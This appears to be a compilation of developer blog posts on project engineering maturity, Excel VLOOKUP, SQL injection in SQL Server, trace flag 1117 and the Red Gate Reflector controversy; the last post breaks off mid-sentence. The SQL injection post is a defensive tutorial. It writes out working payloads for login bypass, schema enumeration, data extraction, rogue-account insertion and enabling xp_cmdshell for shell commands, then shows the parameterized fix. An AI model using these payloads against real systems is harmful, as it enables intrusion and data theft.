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• Software Engineering Practices &ndash; Different Projects should have different maturity levels

  - by Dylan Smith

  I’ve had a lot of discussions at the office lately about the drastically different sets of software engineering practices used on our various projects, if what we are doing is appropriate, and what factors should you be considering when determining what practices are most appropriate in a given context. I wanted to write up my thoughts in a little more detail on this subject, so here we go: If you compare any two software projects (specifically comparing their codebases) you’ll often see very different levels of maturity in the software engineering practices employed. By software engineering practices, I’m specifically referring to the quality of the code and the amount of technical debt present in the project. Things such as Test Driven Development, Domain Driven Design, Behavior Driven Development, proper adherence to the SOLID principles, etc. are all practices that you would expect at the mature end of the spectrum. At the other end of the spectrum would be the quick-and-dirty solutions that are done using something like an Access Database, Excel Spreadsheet, or maybe some quick “drag-and-drop coding”. For this blog post I’m going to refer to this as the Software Engineering Maturity Spectrum (SEMS). I believe there is a time and a place for projects at every part of that SEMS. The risks and costs associated with under-engineering solutions have been written about a million times over so I won’t bother going into them again here, but there are also (unnecessary) costs with over-engineering a solution. Sometimes putting multiple layers, and IoC containers, and abstracting out the persistence, etc is complete overkill if a one-time use Access database could solve the problem perfectly well. A lot of software developers I talk to seem to automatically jump to the very right-hand side of this SEMS in everything they do. A common rationalization I hear is that it may seem like a small trivial application today, but these things always grow and stick around for many years, then you’re stuck maintaining a big ball of mud. I think this is a cop-out. Sure you can’t always anticipate how an application will be used or grow over its lifetime (can you ever??), but that doesn’t mean you can’t manage it and evolve the underlying software architecture as necessary (even if that means having to toss the code out and re-write it at some point…maybe even multiple times). My thoughts are that we should be making a conscious decision around the start of each project approximately where on the SEMS we want the project to exist. I believe this decision should be based on 3 factors: 1. Importance - How important to the business is this application? What is the impact if the application were to suddenly stop working? 2. Complexity - How complex is the application functionality? 3. Life-Expectancy - How long is this application expected to be in use? Is this a one-time use application, does it fill a short-term need, or is it more strategic and is expected to be in-use for many years to come? Of course this isn’t an exact science. You can’t say that Project X should be at the 73% mark on the SEMS and expect that to be helpful. My point is not that you need to precisely figure out what point on the SEMS the project should be at then translate that into some prescriptive set of practices and techniques you should be using. Rather my point is that we need to be aware that there is a spectrum, and that not everything is going to be (or should be) at the edges of that spectrum, indeed a large number of projects should probably fall somewhere within the middle; and different projects should adopt a different level of software engineering practices and maturity levels based on the needs of that project. To give an example of this way of thinking from my day job: Every couple of years my company plans and hosts a large event where ~400 of our customers all fly in to one location for a multi-day event with various activities. We have some staff whose job it is to organize the logistics of this event, which includes tracking which flights everybody is booked on, arranging for transportation to/from airports, arranging for hotel rooms, name tags, etc The last time we arranged this event all these various pieces of data were tracked in separate spreadsheets and reconciliation and cross-referencing of all the data was literally done by hand using printed copies of the spreadsheets and several people sitting around a table going down each list row by row. Obviously there is some room for improvement in how we are using software to manage the event’s logistics. The next time this event occurs we plan to provide the event planning staff with a more intelligent tool (either an Excel spreadsheet or probably an Access database) that can track all the information in one location and make sure that the various pieces of data are properly linked together (so for example if a person cancels you only need to delete them from one place, and not a dozen separate lists). This solution would fall at or near the very left end of the SEMS meaning that we will just quickly create something with very little attention paid to using mature software engineering practices. If we examine this project against the 3 criteria I listed above for determining it’s place within the SEMS we can see why: Importance – If this application were to stop working the business doesn’t grind to a halt, revenue doesn’t stop, and in fact our customers wouldn’t even notice since it isn’t a customer facing application. The impact would simply be more work for our event planning staff as they revert back to the previous way of doing things (assuming we don’t have any data loss). Complexity – The use cases for this project are pretty straightforward. It simply needs to manage several lists of data, and link them together appropriately. Precisely the task that access (and/or Excel) can do with minimal custom development required. Life-Expectancy – For this specific project we’re only planning to create something to be used for the one event (we only hold these events every 2 years). If it works well this may change (see below). Let’s assume we hack something out quickly and it works great when we plan the next event. We may decide that we want to make some tweaks to the tool and adopt it for planning all future events of this nature. In that case we should examine where the current application is on the SEMS, and make a conscious decision whether something needs to be done to move it further to the right based on the new objectives and goals for this application. This may mean scrapping the access database and re-writing it as an actual web or windows application. In this case, the life-expectancy changed, but let’s assume the importance and complexity didn’t change all that much. We can still probably get away with not adopting a lot of the so-called “best practices”. For example, we can probably still use some of the RAD tooling available and might have an Autonomous View style design that connects directly to the database and binds to typed datasets (we might even choose to simply leave it as an access database and continue using it; this is a decision that needs to be made on a case-by-case basis). At Anvil Digital we have aspirations to become a primarily product-based company. So let’s say we use this tool to plan a handful of events internally, and everybody loves it. Maybe a couple years down the road we decide we want to package the tool up and sell it as a product to some of our customers. In this case the project objectives/goals change quite drastically. Now the tool becomes a source of revenue, and the impact of it suddenly stopping working is significantly less acceptable. Also as we hold focus groups, and gather feedback from customers and potential customers there’s a pretty good chance the feature-set and complexity will have to grow considerably from when we were using it only internally for planning a small handful of events for one company. In this fictional scenario I would expect the target on the SEMS to jump to the far right. Depending on how we implemented the previous release we may be able to refactor and evolve the existing codebase to introduce a more layered architecture, a robust set of automated tests, introduce a proper ORM and IoC container, etc. More likely in this example the jump along the SEMS would be so large we’d probably end up scrapping the current code and re-writing. Although, if it was a slow phased roll-out to only a handful of customers, where we collected feedback, made some tweaks, and then rolled out to a couple more customers, we may be able to slowly refactor and evolve the code over time rather than tossing it out and starting from scratch. The key point I’m trying to get across is not that you should be throwing out your code and starting from scratch all the time. But rather that you should be aware of when and how the context and objectives around a project changes and periodically re-assess where the project currently falls on the SEMS and whether that needs to be adjusted based on changing needs. Note: There is also the idea of “spectrum decay”. Since our industry is rapidly evolving, what we currently accept as mature software engineering practices (the right end of the SEMS) probably won’t be the same 3 years from now. If you have a project that you were to assess at somewhere around the 80% mark on the SEMS today, but don’t touch the code for 3 years and come back and re-assess its position, it will almost certainly have changed since the right end of the SEMS will have moved farther out (maybe the project is now only around 60% due to decay). Developer Skills Another important aspect to this whole discussion is around the skill sets of your architects and lead developers. When talking about the progression of a developers skills from junior->intermediate->senior->… they generally start by only being able to write code that belongs on the left side of the SEMS and as they gain more knowledge and skill they become capable of working at a higher and higher level along the SEMS. We all realize that the learning never stops, but eventually you’ll get to the point where you can comfortably develop at the right-end of the SEMS (the exact practices and techniques that translates to is constantly changing, but that’s not the point here). A critical skill that I’d love to see more evidence of in our industry is the most senior guys not only being able to work at the right-end of the SEMS, but more importantly be able to consciously work at any point along the SEMS as project needs dictate. An even more valuable skill would be if you could make the conscious decision to move a projects code further right on the SEMS (based on changing needs) and do so in an incremental manner without having to start from scratch. An exercise that I’m planning to go through with all of our projects here at Anvil in the near future is to map out where I believe each project currently falls within this SEMS, where I believe the project *should* be on the SEMS based on the business needs, and for those that don’t match up (i.e. most of them) come up with a plan to improve the situation.

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• VLOOKUP in Excel, part 2: Using VLOOKUP without a database

  - by Mark Virtue

  In a recent article, we introduced the Excel function called VLOOKUP and explained how it could be used to retrieve information from a database into a cell in a local worksheet.  In that article we mentioned that there were two uses for VLOOKUP, and only one of them dealt with querying databases.  In this article, the second and final in the VLOOKUP series, we examine this other, lesser known use for the VLOOKUP function. If you haven’t already done so, please read the first VLOOKUP article – this article will assume that many of the concepts explained in that article are already known to the reader. When working with databases, VLOOKUP is passed a “unique identifier” that serves to identify which data record we wish to find in the database (e.g. a product code or customer ID).  This unique identifier must exist in the database, otherwise VLOOKUP returns us an error.  In this article, we will examine a way of using VLOOKUP where the identifier doesn’t need to exist in the database at all.  It’s almost as if VLOOKUP can adopt a “near enough is good enough” approach to returning the data we’re looking for.  In certain circumstances, this is exactly what we need. We will illustrate this article with a real-world example – that of calculating the commissions that are generated on a set of sales figures.  We will start with a very simple scenario, and then progressively make it more complex, until the only rational solution to the problem is to use VLOOKUP.  The initial scenario in our fictitious company works like this:  If a salesperson creates more than $30,000 worth of sales in a given year, the commission they earn on those sales is 30%.  Otherwise their commission is only 20%.  So far this is a pretty simple worksheet: To use this worksheet, the salesperson enters their sales figures in cell B1, and the formula in cell B2 calculates the correct commission rate they are entitled to receive, which is used in cell B3 to calculate the total commission that the salesperson is owed (which is a simple multiplication of B1 and B2). The cell B2 contains the only interesting part of this worksheet – the formula for deciding which commission rate to use: the one below the threshold of $30,000, or the one above the threshold.  This formula makes use of the Excel function called IF.  For those readers that are not familiar with IF, it works like this: IF(condition,value if true,value if false) Where the condition is an expression that evaluates to either true or false.  In the example above, the condition is the expression B1<B5, which can be read as “Is B1 less than B5?”, or, put another way, “Are the total sales less than the threshold”.  If the answer to this question is “yes” (true), then we use the value if true parameter of the function, namely B6 in this case – the commission rate if the sales total was below the threshold.  If the answer to the question is “no” (false), then we use the value if false parameter of the function, namely B7 in this case – the commission rate if the sales total was above the threshold. As you can see, using a sales total of $20,000 gives us a commission rate of 20% in cell B2.  If we enter a value of $40,000, we get a different commission rate: So our spreadsheet is working. Let’s make it more complex.  Let’s introduce a second threshold:  If the salesperson earns more than $40,000, then their commission rate increases to 40%: Easy enough to understand in the real world, but in cell B2 our formula is getting more complex.  If you look closely at the formula, you’ll see that the third parameter of the original IF function (the value if false) is now an entire IF function in its own right.  This is called a nested function (a function within a function).  It’s perfectly valid in Excel (it even works!), but it’s harder to read and understand. We’re not going to go into the nuts and bolts of how and why this works, nor will we examine the nuances of nested functions.  This is a tutorial on VLOOKUP, not on Excel in general. Anyway, it gets worse!  What about when we decide that if they earn more than $50,000 then they’re entitled to 50% commission, and if they earn more than $60,000 then they’re entitled to 60% commission? Now the formula in cell B2, while correct, has become virtually unreadable.  No-one should have to write formulae where the functions are nested four levels deep!  Surely there must be a simpler way? There certainly is.  VLOOKUP to the rescue! Let’s redesign the worksheet a bit.  We’ll keep all the same figures, but organize it in a new way, a more tabular way: Take a moment and verify for yourself that the new Rate Table works exactly the same as the series of thresholds above. Conceptually, what we’re about to do is use VLOOKUP to look up the salesperson’s sales total (from B1) in the rate table and return to us the corresponding commission rate.  Note that the salesperson may have indeed created sales that are not one of the five values in the rate table ($0, $30,000, $40,000, $50,000 or $60,000).  They may have created sales of $34,988.  It’s important to note that $34,988 does not appear in the rate table.  Let’s see if VLOOKUP can solve our problem anyway… We select cell B2 (the location we want to put our formula), and then insert the VLOOKUP function from the Formulas tab: The Function Arguments box for VLOOKUP appears.  We fill in the arguments (parameters) one by one, starting with the Lookup_value, which is, in this case, the sales total from cell B1.  We place the cursor in the Lookup_value field and then click once on cell B1: Next we need to specify to VLOOKUP what table to lookup this data in.  In this example, it’s the rate table, of course.  We place the cursor in the Table_array field, and then highlight the entire rate table – excluding the headings: Next we must specify which column in the table contains the information we want our formula to return to us.  In this case we want the commission rate, which is found in the second column in the table, so we therefore enter a 2 into the Col_index_num field: Finally we enter a value in the Range_lookup field. Important:  It is the use of this field that differentiates the two ways of using VLOOKUP.  To use VLOOKUP with a database, this final parameter, Range_lookup, must always be set to FALSE, but with this other use of VLOOKUP, we must either leave it blank or enter a value of TRUE.  When using VLOOKUP, it is vital that you make the correct choice for this final parameter. To be explicit, we will enter a value of true in the Range_lookup field.  It would also be fine to leave it blank, as this is the default value: We have completed all the parameters.  We now click the OK button, and Excel builds our VLOOKUP formula for us: If we experiment with a few different sales total amounts, we can satisfy ourselves that the formula is working. Conclusion In the “database” version of VLOOKUP, where the Range_lookup parameter is FALSE, the value passed in the first parameter (Lookup_value) must be present in the database.  In other words, we’re looking for an exact match. But in this other use of VLOOKUP, we are not necessarily looking for an exact match.  In this case, “near enough is good enough”.  But what do we mean by “near enough”?  Let’s use an example:  When searching for a commission rate on a sales total of $34,988, our VLOOKUP formula will return us a value of 30%, which is the correct answer.  Why did it choose the row in the table containing 30% ?  What, in fact, does “near enough” mean in this case?  Let’s be precise: When Range_lookup is set to TRUE (or omitted), VLOOKUP will look in column 1 and match the highest value that is not greater than the Lookup_value parameter. It’s also important to note that for this system to work, the table must be sorted in ascending order on column 1! If you would like to practice with VLOOKUP, the sample file illustrated in this article can be downloaded from here. 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• SQL Server SQL Injection from start to end

  - by Mladen Prajdic

  SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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• Trace flags - TF 1117

  - by Damian

  I had a session about trace flags this year on the SQL Day 2014 conference that was held in Wroclaw at the end of April. The session topic is important to most of DBA's and the reason I did it was that I sometimes forget about various trace flags :). So I decided to prepare a presentation but I think it is a good idea to write posts about trace flags, too. Let's start then - today I will describe the TF 1117. I assume that we all know how to setup a TF using starting parameters or registry or in the session or on the query level. I will always write if a trace flag is local or global to make sure we know how to use it. Why do we need this trace flag? Let’s create a test database first. This is quite ordinary database as it has two data files (4 MB each) and a log file that has 1MB. The data files are able to expand by 1 MB and the log file grows by 10%: USE [master] GO CREATE DATABASE [TF1117]  ON  PRIMARY ( NAME = N'TF1117',      FILENAME = N'C:\Program Files\Microsoft SQL Server\MSSQL12.SQL2014\MSSQL\DATA\TF1117.mdf' ,      SIZE = 4096KB ,      MAXSIZE = UNLIMITED,      FILEGROWTH = 1024KB ), ( NAME = N'TF1117_1',      FILENAME = N'C:\Program Files\Microsoft SQL Server\MSSQL12.SQL2014\MSSQL\DATA\TF1117_1.ndf' ,      SIZE = 4096KB ,      MAXSIZE = UNLIMITED,      FILEGROWTH = 1024KB )  LOG ON ( NAME = N'TF1117_log',      FILENAME = N'C:\Program Files\Microsoft SQL Server\MSSQL12.SQL2014\MSSQL\DATA\TF1117_log.ldf' ,      SIZE = 1024KB ,      MAXSIZE = 2048GB ,      FILEGROWTH = 10% ) GO Without the TF 1117 turned on the data files don’t grow all up at once. When a first file is full the SQL Server expands it but the other file is not expanded until is full. Why is that so important? The SQL Server proportional fill algorithm will direct new extent allocations to the file with the most available space so new extents will be written to the file that was just expanded. When the TF 1117 is enabled it will cause all files to auto grow by their specified increment. That means all files will have the same percent of free space so we still have the benefit of evenly distributed IO. The TF 1117 is global flag so it affects all databases on the instance. Of course if a filegroup contains only one file the TF does not have any effect on it. Now let’s do a simple test. First let’s create a table in which every row will fit to a single page: The table definition is pretty simple as it has two integer columns and one character column of fixed size 8000 bytes: create table TF1117Tab (      col1 int,      col2 int,      col3 char (8000) ) go Now I load some data to the table to make sure that one of the data file must grow: declare @i int select @i = 1 while (@i < 800) begin       insert into TF1117Tab  values (@i, @i+1000, 'hello')        select @i= @i + 1 end I can check the actual file size in the sys.database_files DMV: SELECT name, (size*8)/1024 'Size in MB' FROM sys.database_files  GO   As you can see only the first data file was  expanded and the other has still the initial size:   name                  Size in MB --------------------- ----------- TF1117                5 TF1117_log            1 TF1117_1              4 There is also other methods of looking at the events of file autogrows. One possibility is to create an Extended Events session and the other is to look into the default trace file:     DECLARE @path NVARCHAR(260); SELECT    @path = REVERSE(SUBSTRING(REVERSE([path]),          CHARINDEX('\', REVERSE([path])), 260)) + N'log.trc' FROM    sys.traces WHERE   is_default = 1; SELECT    DatabaseName,                 [FileName],                 SPID,                 Duration,                 StartTime,                 EndTime,                 FileType =                         CASE EventClass                                     WHEN 92 THEN 'Data'                                    WHEN 93 THEN 'Log'             END FROM sys.fn_trace_gettable(@path, DEFAULT) WHERE   EventClass IN (92,93) AND StartTime >'2014-07-12' AND DatabaseName = N'TF1117' ORDER BY   StartTime DESC;   After running the query I can see the file was expanded and how long did the process take which might be useful from the performance perspective.    Now it’s time to turn on the flag 1117. DBCC TRACEON(1117)   I dropped the database and recreated it once again. Then I ran the queries and observed the results. After loading the records I see that both files were evenly expanded: name                  Size in MB --------------------- ----------- TF1117                5 TF1117_log            1 TF1117_1              5 I found also information in the default trace. The query returned three rows. The last one is connected to my first experiment when the TF was turned off.  The two rows shows that first file was expanded by 1MB and right after that operation the second file was expanded, too. This is what is this TF all about J  

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• The Red Gate and .NET Reflector Debacle

  - by Rick Strahl

  About a month ago Red Gate – the company who owns the NET Reflector tool most .NET devs use at one point or another – decided to change their business model for Reflector and take the product from free to a fully paid for license model. As a bit of history: .NET Reflector was originally created by Lutz Roeder as a free community tool to inspect .NET assemblies. Using Reflector you can examine the types in an assembly, drill into type signatures and quickly disassemble code to see how a particular method works.  In case you’ve been living under a rock and you’ve never looked at Reflector, here’s what it looks like drilled into an assembly from disk with some disassembled source code showing: Note that you get tons of information about each element in the tree, and almost all related types and members are clickable both in the list and source view so it’s extremely easy to navigate and follow the code flow even in this static assembly only view. For many year’s Lutz kept the the tool up to date and added more features gradually improving an already amazing tool and making it better. Then about two and a half years ago Red Gate bought the tool from Lutz. A lot of ruckus and noise ensued in the community back then about what would happen with the tool and… for the most part very little did. Other than the incessant update notices with prominent Red Gate promo on them life with Reflector went on. The product didn’t die and and it didn’t go commercial or to a charge model. When .NET 4.0 came out it still continued to work mostly because the .NET feature set doesn’t drastically change how types behave.  Then a month back Red Gate started making noise about a new Version Version 7 which would be commercial. No more free version - and a shit storm broke out in the community. Now normally I’m not one to be critical of companies trying to make money from a product, much less for a product that’s as incredibly useful as Reflector. There isn’t day in .NET development that goes by for me where I don’t fire up Reflector. Whether it’s for examining the innards of the .NET Framework, checking out third party code, or verifying some of my own code and resources. Even more so recently I’ve been doing a lot of Interop work with a non-.NET application that needs to access .NET components and Reflector has been immensely valuable to me (and my clients) if figuring out exact type signatures required to calling .NET components in assemblies. In short Reflector is an invaluable tool to me. Ok, so what’s the problem? Why all the fuss? Certainly the $39 Red Gate is trying to charge isn’t going to kill any developer. If there’s any tool in .NET that’s worth $39 it’s Reflector, right? Right, but that’s not the problem here. The problem is how Red Gate went about moving the product to commercial which borders on the downright bizarre. It’s almost as if somebody in management wrote a slogan: “How can we piss off the .NET community in the most painful way we can?” And that it seems Red Gate has a utterly succeeded. People are rabid, and for once I think that this outrage isn’t exactly misplaced. Take a look at the message thread that Red Gate dedicated from a link off the download page. Not only is Version 7 going to be a paid commercial tool, but the older versions of Reflector won’t be available any longer. Not only that but older versions that are already in use also will continually try to update themselves to the new paid version – which when installed will then expire unless registered properly. There have also been reports of Version 6 installs shutting themselves down and failing to work if the update is refused (I haven’t seen that myself so not sure if that’s true). In other words Red Gate is trying to make damn sure they’re getting your money if you attempt to use Reflector. There’s a lot of temptation there. Think about the millions of .NET developers out there and all of them possibly upgrading – that’s a nice chunk of change that Red Gate’s sitting on. Even with all the community backlash these guys are probably making some bank right now just because people need to get life to move on. Red Gate also put up a Feedback link on the download page – which not surprisingly is chock full with hate mail condemning the move. Oddly there’s not a single response to any of those messages by the Red Gate folks except when it concerns license questions for the full version. It puzzles me what that link serves for other yet than another complete example of failure to understand how to handle customer relations. There’s no doubt that that all of this has caused some serious outrage in the community. The sad part though is that this could have been handled so much less arrogantly and without pissing off the entire community and causing so much ill-will. People are pissed off and I have no doubt that this negative publicity will show up in the sales numbers for their other products. I certainly hope so. Stupidity ought to be painful! Why do Companies do boneheaded stuff like this? Red Gate’s original decision to buy Reflector was hotly debated but at that the time most of what would happen was mostly speculation. But I thought it was a smart move for any company that is in need of spreading its marketing message and corporate image as a vendor in the .NET space. Where else do you get to flash your corporate logo to hordes of .NET developers on a regular basis?  Exploiting that marketing with some goodwill of providing a free tool breeds positive feedback that hopefully has a good effect on the company’s visibility and the products it sells. Instead Red Gate seems to have taken exactly the opposite tack of corporate bullying to try to make a quick buck – and in the process ruined any community goodwill that might have come from providing a service community for free while still getting valuable marketing. What’s so puzzling about this boneheaded escapade is that the company doesn’t need to resort to underhanded tactics like what they are trying with Reflector 7. The tools the company makes are very good. I personally use SQL Compare, Sql Data Compare and ANTS Profiler on a regular basis and all of these tools are essential in my toolbox. They certainly work much better than the tools that are in the box with Visual Studio. Chances are that if Reflector 7 added useful features I would have been more than happy to shell out my $39 to upgrade when the time is right. It’s Expensive to give away stuff for Free At the same time, this episode shows some of the big problems that come with ‘free’ tools. A lot of organizations are realizing that giving stuff away for free is actually quite expensive and the pay back is often very intangible if any at all. Those that rely on donations or other voluntary compensation find that they amount contributed is absolutely miniscule as to not matter at all. Yet at the same time I bet most of those clamouring the loudest on that Red Gate Reflector feedback page that Reflector won’t be free anymore probably have NEVER made a donation to any open source project or free tool ever. The expectation of Free these days is just too great – which is a shame I think. There’s a lot to be said for paid software and having somebody to hold to responsible to because you gave them some money. There’s an incentive –> payback –> responsibility model that seems to be missing from free software (not all of it, but a lot of it). While there certainly are plenty of bad apples in paid software as well, money tends to be a good motivator for people to continue working and improving products. Reasons for giving away stuff are many but often it’s a naïve desire to share things when things are simple. At first it might be no problem to volunteer time and effort but as products mature the fun goes out of it, and as the reality of product maintenance kicks in developers want to get something back for the time and effort they’re putting in doing non-glamorous work. It’s then when products die or languish and this is painful for all to watch. For Red Gate however, I think there was always a pretty good payback from the Reflector acquisition in terms of marketing: Visibility and possible positioning of their products although they seemed to have mostly ignored that option. On the other hand they started this off pretty badly even 2 